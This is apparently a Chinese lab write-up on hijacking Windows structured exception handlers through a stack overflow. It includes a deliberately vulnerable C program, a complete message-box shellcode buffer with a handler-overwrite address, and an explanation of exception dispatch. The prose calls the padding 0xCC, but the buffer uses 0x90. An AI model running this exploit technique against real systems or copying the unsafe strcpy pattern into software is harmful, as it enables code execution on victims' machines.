栈溢出 狙击S.E.H

代码

#include <windows.h>
#include <stdio.h>
char shellcode[] = "\x90\x90\x90\x90……";
DWORD MyExceptionhandler(void)
{
	printf("got an exception, press Enter to kill process!\n");
	getchar();
	ExitProcess(1);
	return 0;
}
void test(char * input)
{
	char buf[200];
	int zero=0;
	__asm int 3 //used to break process for debug
	__try
	{
		strcpy(buf,input); //overflow
		zero=4/zero; //异常
	}
	__except(MyExceptionhandler()){}
}
void main()
{
	test(shellcode);
} 

当线程初始化时,会自动向栈中安装一个 S.E.H,作为线程默认的异常处理。自己加的这个S.E.H处于最优先级,然后才是线程的S.E.H,到了最后才是进程的S.E.H。S.E.H处理不了才会调用下一级的S.E.H。

实验目的

栈溢出修改S.E.H

实验准备

环境:windows 2k professional
编译器:vc++
调试器:OD

实验过程

1.先下一个断点,然后看栈中的情况就能找到存在栈中的S.E.H链中存放的地址,然后我们的目的就是覆盖掉异常时弹出的地址。等下除零异常的时候,就直接就调用覆盖了的地址。
在这里插入图片描述
2.对栈进行覆盖溢出的操作

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x68\xFE\x12\x00"

前面0xCC填充,中间的代码是之前那个弹出窗口的代码,然后最后覆盖的地址就是这段shellcode的开头地址。
在这里插入图片描述
然后异常的时候调用的就是自己被覆盖的S.E.H,之后就退出了程序

PS:异常处理流程S.E.H如下。
1 首先执行线程中距离栈顶最近的 S.E.H 的异常处理函数。
2 若失败,则依次尝试执行 S.E.H 链表中后续的异常处理函数。
3 若 S.E.H 链中所有的异常处理函数都没能处理异常,则执行进程中的异常处理。
4 若仍然失败,系统默认的异常处理将被调用,程序崩溃的对话框将被弹出。

CPU 执行时发生并捕获异常,内核接过进程的控制权,开始内核态的异常处理。
1 内核异常处理结束,将控制权还给 ring3。
2 ring3 中第一个处理异常的函数是 ntdll.dll 中的 KiUserExceptionDispatcher()函数。
3 KiUserExceptionDispatcher()首先检查程序是否处于调试状态。如果程序正在被调试,会将异常交给调试器进行处理。
4 在非调试状态下,KiUserExceptionDispatcher()调用 RtlDispatchException()函数对线程的 S.E.H 链表进行遍历,如果找到能够处理异常的回调函数,将再次遍历先前调用过的 S.E.H 句柄,即 unwind 操作(就是找到了就处理函数,把之前的遍历一遍让之前的函数都失效,不然就会栈有异常),以保证异常处理机制自身的完整性。
5 如果栈中所有的 S.E.H 都失败了,且用户曾经使用过SetUnhandledExceptionFilter()函数设定进程异常处理,则这个异常处理将被调用。
6 如果用户自定义的进程异常处理失败,或者用户根本没有定义进程异常处理,那么系统默认的异常处理 UnhandledExceptionFilter()将被调用。U.E.F 会根据注册表里的相关信息决定是默默地关闭程序,还是弹出错误对话框。

异常分发就是一个寻找调试器和异常处理代码的过程。异常有两大类,发生在内核态下的异常和发生在用户态下的异常。
这两者的相同点是:
1.都是基于二次调试机制 就是一次异常需要连续忽略两次才能跳过。
2.都在寻找调试器 异常是没有办法自己消失的,需要找到处理代码或者调试器才行,所提异常分发就是寻找解决方案的过程。
不同点是:
1.CPU模式的切换 用户态的函数会伴着切换到内核态,而内核态就不会切换。
2.同样使用的函数也不一样
在这里插入图片描述

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值